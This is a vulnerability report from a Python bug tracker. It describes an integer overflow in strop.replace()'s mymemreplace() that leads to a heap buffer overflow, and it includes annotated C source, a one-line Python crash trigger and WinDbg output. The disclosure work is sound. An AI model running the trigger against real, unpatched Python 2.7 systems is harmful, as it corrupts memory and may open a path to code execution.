New submission from John Leitch:
The Python strop.replace() method suffers from an integer overflow that can be
exploited to write outside the bounds of the string buffer and potentially
achieve code execution. The issue can be triggered by performing a large
substitution that overflows the arithmetic used in mymemreplace() to calculate
the size of the new string:
static char *
mymemreplace(const char *str, Py_ssize_t len, /* input string */
const char *pat, Py_ssize_t pat_len, /* pattern string to
find */
const char *sub, Py_ssize_t sub_len, /* substitution string
*/
Py_ssize_t count, /* number of
replacements */
Py_ssize_t *out_len)
{
[...]
new_len = len + nfound*(sub_len - pat_len); Unchecked arithmetic can
overflow here.
if (new_len == 0) {
/* Have to allocate something for the caller to free(). */
out_s = (char *)PyMem_MALLOC(1);
if (out_s == NULL)
return NULL;
out_s[0] = '\0';
}
else {
assert(new_len 0);
new_s = (char *)PyMem_MALLOC(new_len); An allocation is performed
using overflowed value.
if (new_s == NULL)
return NULL;
out_s = new_s;
for (; count 0 len 0; --count) { Memory is copied to new_s
using len, which can be greater than the overflowed new_len value.
/* find index of next instance of pattern */
offset = mymemfind(str, len, pat, pat_len);
if (offset == -1)
break;
/* copy non matching part of input string */
memcpy(new_s, str, offset);
str += offset + pat_len;
len -= offset + pat_len;
/* copy substitute into the output string */
new_s += offset;
memcpy(new_s, sub, sub_len);
new_s += sub_len;
}
/* copy any remaining values into output string */
if (len 0)
memcpy(new_s, str, len);
}
[...]
}
The following script demonstrates the issue:
import strop
strop.replace(\x75*0xEAAA,\x75,AA*0x)
When run under a debugger, it produces the following exception:
0:000 r
eax=01e4cfd0 ebx=5708fc94 ecx=3c7a edx= esi=01e3dde8 edi=57096000
eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
MSVCR90!memcpy+0x5a:
7026ae7a f3a5rep movs dword ptr es:[edi],dword ptr [esi]
0:000 db edi-0x10
57095ff0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
57096000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
57096010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
57096020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
57096030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
57096040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
57096050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
57096060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
0:000 db esi
01e3dde8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
01e3ddf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
01e3de08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
01e3de18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
01e3de28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
01e3de38 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
01e3de48 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
01e3de58 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
0:000 k
ChildEBP RetAddr
0027fca0 1e056efc MSVCR90!memcpy+0x5a
[f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
0027fcd0 1e05700b python27!mymemreplace+0xfc
[c:\build27\cpython\modules\stropmodule.c @ 1139]
0027fd18 1e0aaed7 python27!strop_replace+0xbb
[c:\build27\cpython\modules\stropmodule.c @ 1185]
0027fd30 1e0edcc0 python27!PyCFunction_Call+0x47
[c:\build27\cpython\objects\methodobject.c @ 81]
0027fd5c 1e0f012a python27!call_function+0x2b0
[c:\build27\cpython\python\ceval.c @ 4035]
0027fdcc 1e0f1100 python27!PyEval_EvalFrameEx+0x239a
[c:\build27\cpython\python\ceval.c @ 2684]
0027fe00 1e0f1162 python27!PyEval_EvalCodeEx+0x690
[c:\build27\cpython\python\ceval.c @ 3267]
0027fe2c 1e1170ca python27!PyEval_EvalCode+0x22
[c:\build27\cpython\python\ceval.c @ 674]
0027fe44 1e118215 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c
@ 1371]
0027fe64 1e1187b0 python27!PyRun_FileExFlags+0x75
[c:\build27\cpython\python\pythonrun.c @ 1358]
0027fea4 1e119129 python27!PyRun_SimpleFileExFlags+0x190
[c:\build27\cpython\python\pythonrun.c @ 950]
0027fec0 1e038cb5 python27!PyRun_AnyFileExFlags+0x59
[c:\build27\cpython\python\pythonrun.c @ 753]